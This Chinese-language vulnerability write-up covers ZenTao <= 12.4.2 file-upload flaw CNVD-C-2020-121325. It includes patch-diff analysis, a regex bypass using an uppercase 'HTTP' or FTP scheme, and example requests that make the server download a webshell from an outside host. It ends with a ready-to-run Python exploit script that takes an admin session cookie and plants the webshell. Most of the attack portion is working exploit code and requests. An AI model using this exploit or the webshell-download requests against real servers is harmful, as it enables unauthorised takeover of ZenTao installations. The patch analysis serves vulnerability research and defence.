禅道 小于12.4.2 文件上传漏洞 CNVD-C-2020-121325¶
漏洞描述¶
百度云安全团队监测到禅道官方发布了文件上传漏洞的风险通告,该漏洞编号为CNVD-C-2020-121325,漏洞影响禅道<=12.4.2版本。登陆管理后台的恶意攻击者可以通过fopen/fread/fwrite方法读取或上传任意文件,成功利用此漏洞可以读取目标系统敏感文件或获得系统管理权限。我们对漏洞进行了复现和分析,由于需要登录后台才可以利用,实际风险相对较低,建议受影响的禅道用户尽快升级到最新版。
影响版本¶
[!NOTE]
禅道 <= 12.4.2版本
环境搭建¶
百度下12.4.2的禅道环境按步骤安装下载即可
调用接口查询版本信息
http://xxx.xxx.xxx.xxx/www/index.php?mode=getconfig
漏洞复现¶
[!NOTE]
漏洞触发需要后台权限
根据漏洞描述查看修改后的代码片段
修改前
public function downloadZipPackage($version, $link)
{
$decodeLink = helper::safe64Decode($link);
if(preg_match('/^https?\:\/\//', $decodeLink)) return false;
return parent::downloadZipPackage($version, $link);
}
修改后
public function downloadZipPackage($version, $link)
{
$decodeLink = helper::safe64Decode($link);
if(!preg_match('/^https?\:\/\//', $decodeLink)) return false;
$file = basename($link);
$extension = substr($file, strrpos($file, '.') + 1);
if(strpos(",{$this->config->file->allowed},", ",{$extension},") === false) return false;
return parent::downloadZipPackage($version, $link);
}
这里传入的参数为版本和link地址,然后base64解码,正则判断是否为**http**或**https**协议,这里的正则过滤并不完整,所以可以绕过用于下载恶意文件
可以大写**http**或请求**FTP**来绕过正则
跟进一下**parent::downloadZipPackage**这个方法,跟着来到**zentao\module\client\model.php**文件中
public function downloadZipPackage($version, $link)
{
ignore_user_abort(true);
set_time_limit(0);
if(empty($version) || empty($link)) return false;
$dir = "data/client/" . $version . '/';
$link = helper::safe64Decode($link);
$file = basename($link);
if(!is_dir($this->app->wwwRoot . $dir))
{
mkdir($this->app->wwwRoot . $dir, 0755, true);
}
if(!is_dir($this->app->wwwRoot . $dir)) return false;
if(file_exists($this->app->wwwRoot . $dir . $file))
{
return commonModel::getSysURL() . $this->config->webRoot . $dir . $file;
}
ob_clean();
ob_end_flush();
$local = fopen($this->app->wwwRoot . $dir . $file, 'w');
$remote = fopen($link, 'rb');
if($remote === false) return false;
while(!feof($remote))
{
$buffer = fread($remote, 4096);
fwrite($local, $buffer);
}
fclose($local);
fclose($remote);
return commonModel::getSysURL() . $this->config->webRoot . $dir . $file;
}
可以简单看到这里获取link传入的文件名,通过**fopen**打开该文件,写入禅道目录**www/data/client/version**中
查看一下有没有调用这个方法的地方
找到了**download**方法调用了这个漏洞点,所以我们有两种下载恶意文件的方法
http://xxx.xxx.xxx.xxx/www/client-download-[$version参数]-[base64加密后的恶意文件地址].html
http://xxx.xxx.xxx.xxx/www/index.php?m=client&f=download&version=[$version参数]&link=[base64加密后的恶意文件地址]
首先先上传一个恶意文件,可以是FTP也可以是HTTP
例如我上传的文件URL为**http://peiqi.tech/SHELL.php**
http://peiqi.tech/SHELL.php
|
base64加密 HTTP://peiqi.tech/SHELL.php
|
SFRUUDovL3BlaXFpLnRlY2gvU0hFTEwucGhw
请求地址则为
http://xxx.xxx.xxx.xxx/www/index.php?m=client&f=download&version=1&link=SFRUUDovL3BlaXFpLnRlY2gvU0hFTEwucGhw
下载的目录地址为**zentaopms\www\data\client\1**
[!NOTE]
目录为version名称
成功上传webshell
漏洞利用POC¶
[!NOTE]
POC使用需要拥有后台Cookie
#!/usr/bin/python3
#-*- coding:utf-8 -*-
# author : PeiQi
# from : http://wiki.peiqi.tech
import base64
import requests
import random
import re
import json
import sys
def title():
print('+------------------------------------------')
print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
print('+ \033[34m公众号 : PeiQi文库 \033[0m')
print('+ \033[34mVersion: zentao version <= 12.4.2 \033[0m')
print('+ \033[36m使用格式: python3 CNVD-C-2020-121325.py \033[0m')
print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
print('+ \033[36mShell >>> http://xxx.xxx.xxx.xxx/shell.php(恶意文件地址) \033[0m')
print('+ \033[36mZentaosid >>> xxxxxxxxxxxxxx(cookie字段) \033[0m')
print('+------------------------------------------')
def POC_1(target_url):
version_url = target_url + "/www/index.php?mode=getconfig"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
}
try:
response = requests.get(url=version_url, timeout=20, headers=headers)
version = json.loads(response.text)['version']
print("\033[32m[o] 禅道版本为:{}\033[0m".format(version))
except Exception as e:
print("\033[31m[x] 获取版本失败 \033[0m", e)
def POC_2(target_url, shell_url, zentaosid):
options = shell_url.split("://")
if options[0] == "http":
shell_url = "HTTP://" + options[1]
elif options[0] == "ftp":
shell_url = "ftp://" + options[1]
else:
print("\033[31m[x] 请使用正确的请求地址 \033[0m")
sys.exit(0)
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
"Cookie":"zentaosid={}".format(zentaosid)
}
shell_url_base = str((base64.b64encode(shell_url.encode('utf-8'))),'utf-8')
vuln_url = target_url + "/www/index.php?m=client&f=download&version=test&link={}".format(shell_url_base)
print("\033[32m[o] 请求漏洞url:{}\033[0m".format(vuln_url))
try:
response = requests.get(url=vuln_url, timeout=20, headers=headers)
if "保存成功" in response.text:
print("\033[32m[o] 成功写入Webshell,URL地址为:{}/www/data/client/test/Webshell_name.php\033[0m".format(target_url))
else:
print("\033[31m[x] 恶意文件下载失败 \033[0m")
except:
print("\033[31m[x] 恶意文件下载失败 \033[0m")
if __name__ == '__main__':
title()
target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
shell_url = str(input("\033[35mShell >>> \033[0m"))
zentaosid = str(input("\033[35mZentaosid >>> \033[0m"))
POC_1(target_url)
POC_2(target_url, shell_url, zentaosid)